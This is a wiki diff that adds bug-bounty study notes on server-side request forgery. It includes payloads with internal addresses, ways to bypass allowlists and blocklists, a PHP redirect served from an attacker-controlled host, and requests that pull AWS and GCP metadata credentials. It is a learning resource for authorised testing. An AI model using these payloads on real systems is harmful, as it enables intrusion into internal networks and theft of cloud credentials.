zseano:ssrf
Differences
This shows you the differences between two versions of the page.
| zseano:ssrf [2026/05/14 09:58] – add zseano methodology article drew | zseano:ssrf [2026/05/14 16:16] (current) – merge bbc ch13 ssrf techniques drew | ||
|---|---|---|---|
| Line 76: | Line 76: | ||
| * [[zseano: | * [[zseano: | ||
| * [[zseano: | * [[zseano: | ||
| + | |||
| + | |||
| + | ====== BBC Ch 13: Server-Side Request Forgery (SSRF) ====== | ||
| + | |||
| + | //Merged from Bug Bounty Bootcamp Ch 13 by Vickie Li// | ||
| + | |||
| + | ===== How SSRF Works ===== | ||
| + | |||
| + | SSRF lets an attacker send requests from a trusted server on behalf of themselves. A public web server that fetches URLs supplied by the user can be directed to reach internal services that are normally firewalled from the internet. | ||
| + | |||
| + | Classic example -- proxy service: | ||
| + | < | ||
| + | https:// | ||
| + | https:// | ||
| + | </ | ||
| + | |||
| + | The request to admin.example.com originates from the trusted public server, not the attacker' | ||
| + | |||
| + | **Regular vs Blind SSRF:** regular SSRF returns the fetched content in the HTTP response; blind SSRF executes the request but does not return the result. Both exploit the same trust relationships, | ||
| + | |||
| + | ===== Prevention ===== | ||
| + | |||
| + | * **Blocklist** -- reject requests to internal network addresses (127.0.0.1, 192.168.x.x, | ||
| + | * **Allowlist** -- only permit requests to a predetermined set of approved URLs; stricter but more bypass-resistant | ||
| + | * **Secret headers** -- require internal requests to include a special header or token not accessible to external users | ||
| + | |||
| + | ===== Hunting for SSRFs ===== | ||
| + | |||
| + | ==== Step 1: Spot Prone Features ==== | ||
| + | |||
| + | Any feature that causes the server to fetch an external resource is a candidate: | ||
| + | * **Webhooks** -- app configuration pages where you supply a URL for callbacks (Slack event subscriptions, | ||
| + | * **File upload via URL** -- " | ||
| + | * **Link expansion / thumbnails** -- automatic preview generation when a URL is pasted | ||
| + | * **Proxy services** -- URL parameters that return external content | ||
| + | * **XML / PDF processing** -- server-side parsers that resolve external entities or fetch resources embedded in documents | ||
| + | * **Hidden API endpoints** -- undocumented endpoints that accept a URL parameter | ||
| + | * **HTML injection in img/iframe src** -- user input inserted into HTML that the server later renders server-side | ||
| + | |||
| + | Record each candidate endpoint: | ||
| + | < | ||
| + | Webhook: | ||
| + | File upload: POST / | ||
| + | Proxy: | ||
| + | </ | ||
| + | |||
| + | ==== Step 2: Submit Internal URLs ==== | ||
| + | |||
| + | Replace the URL value with common internal addresses: | ||
| + | < | ||
| + | localhost | ||
| + | 127.0.0.1 | ||
| + | 0.0.0.0 | ||
| + | 192.168.0.1 | ||
| + | 10.0.0.1 | ||
| + | 169.254.169.254 | ||
| + | </ | ||
| + | |||
| + | Examples: | ||
| + | < | ||
| + | POST /webhook | ||
| + | url=https:// | ||
| + | |||
| + | POST / | ||
| + | user_id=1234& | ||
| + | </ | ||
| + | |||
| + | ==== Step 3: Check the Results ==== | ||
| + | |||
| + | **Regular SSRF:** look for service banners or internal content in the HTTP response: | ||
| + | < | ||
| + | Error: cannot upload image: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4 | ||
| + | </ | ||
| + | |||
| + | A service banner in the error message confirms SSRF. | ||
| + | |||
| + | **Blind SSRF:** use out-of-band detection: | ||
| + | * Start a Netcat listener: '' | ||
| + | * Use Burp Collaborator (generates unique domain names and monitors for interactions) | ||
| + | * Compare HTTP status codes (200 vs 500) across different internal IPs and ports to infer which hosts and ports are reachable | ||
| + | * Compare response times -- closed ports respond faster (connection refused); firewalled ports respond slower (timeout) | ||
| + | |||
| + | ===== Bypassing SSRF Protection ===== | ||
| + | |||
| + | ==== Bypass Allowlists ==== | ||
| + | |||
| + | If the server only allows URLs from a specific domain (e.g., '' | ||
| + | |||
| + | **Open redirect chain:** use an open redirect on the allowlisted domain to bounce to an internal address: | ||
| + | < | ||
| + | url=https:// | ||
| + | </ | ||
| + | |||
| + | **@-sign trick** (host confused as credentials): | ||
| + | < | ||
| + | url=https:// | ||
| + | </ | ||
| + | |||
| + | **Directory trick** (internal IP with allowlisted domain as path): | ||
| + | < | ||
| + | url=https:// | ||
| + | </ | ||
| + | |||
| + | ==== Bypass Blocklists ==== | ||
| + | |||
| + | **Attacker redirect:** make the server request a URL you control that redirects to the blocked internal address: | ||
| + | < | ||
| + | url=https:// | ||
| + | </ | ||
| + | |||
| + | Serve this PHP on attacker.com: | ||
| + | <code php> | ||
| + | <?php header(" | ||
| + | </ | ||
| + | |||
| + | **IPv6:** blocklists for IPv4 often don't cover IPv6 equivalents: | ||
| + | < | ||
| + | url=http:// | ||
| + | url=http:// | ||
| + | </ | ||
| + | |||
| + | **Custom DNS:** point a domain you control to 127.0.0.1 via an A record, then use your domain as the URL. | ||
| + | |||
| + | **Encoding variants of 127.0.0.1: | ||
| + | < | ||
| + | Hex: https:// | ||
| + | Octal: | ||
| + | Dword: | ||
| + | URL: https:// | ||
| + | Mixed: | ||
| + | </ | ||
| + | |||
| + | ===== Escalating the Attack ===== | ||
| + | |||
| + | ==== Network and Port Scanning ==== | ||
| + | |||
| + | Iterate over internal IP ranges and port numbers; observe differences in response codes or response time to map the internal network: | ||
| + | < | ||
| + | url=https:// | ||
| + | url=https:// | ||
| + | |||
| + | url=https:// | ||
| + | url=https:// | ||
| + | </ | ||
| + | |||
| + | Use SSRFmap (https:// | ||
| + | |||
| + | ==== Pull EC2 Instance Metadata ==== | ||
| + | |||
| + | If the target runs on AWS, query the metadata endpoint from the SSRF: | ||
| + | < | ||
| + | url=http:// | ||
| + | url=http:// | ||
| + | url=http:// | ||
| + | url=http:// | ||
| + | </ | ||
| + | |||
| + | These can leak IAM role credentials, | ||
| + | |||
| + | ==== Pull Google Cloud Metadata ==== | ||
| + | |||
| + | APIv1 requires special headers ('' | ||
| + | < | ||
| + | url=http:// | ||
| + | url=http:// | ||
| + | </ | ||
| + | |||
| + | Note: v1beta1 was deprecated in 2020 and may be disabled on newer instances. | ||
| + | |||
| + | ==== Attack Internal Services ==== | ||
| + | |||
| + | * **Bypass access control** -- access internal admin panels only reachable from trusted IPs: | ||
| + | '' | ||
| + | * **Internal API calls** -- trigger admin-only actions: | ||
| + | '' | ||
| + | * **Escalate to RCE** -- use leaked credentials to upload a shell; access an unsecured admin panel with script-execution features | ||
| + | |||
| + | ===== 8-Step Checklist ===== | ||
| + | |||
| + | - Spot features prone to SSRF: webhooks, URL file uploads, proxy services, link expansion, XML/PDF processors, hidden API endpoints. | ||
| + | - Set up a Netcat listener or Burp Collaborator for blind SSRF detection. | ||
| + | - Submit internal addresses (127.0.0.1, 192.168.x.x, | ||
| + | - Check regular SSRF responses for service banners or internal page content. | ||
| + | - For blind SSRF: compare status codes and response times across hosts and ports to infer network topology. | ||
| + | - If protection is present, try bypass techniques: open redirect chain, @-sign trick, IPv6, custom DNS, encoding variants. | ||
| + | - Escalate: scan network, pull cloud metadata (AWS/GCP), bypass internal access controls, execute internal API calls. | ||
| + | - Draft report with curl PoC showing concrete data returned or access achieved. | ||
zseano/ssrf.1778749098.txt.gz · Last modified: by drew
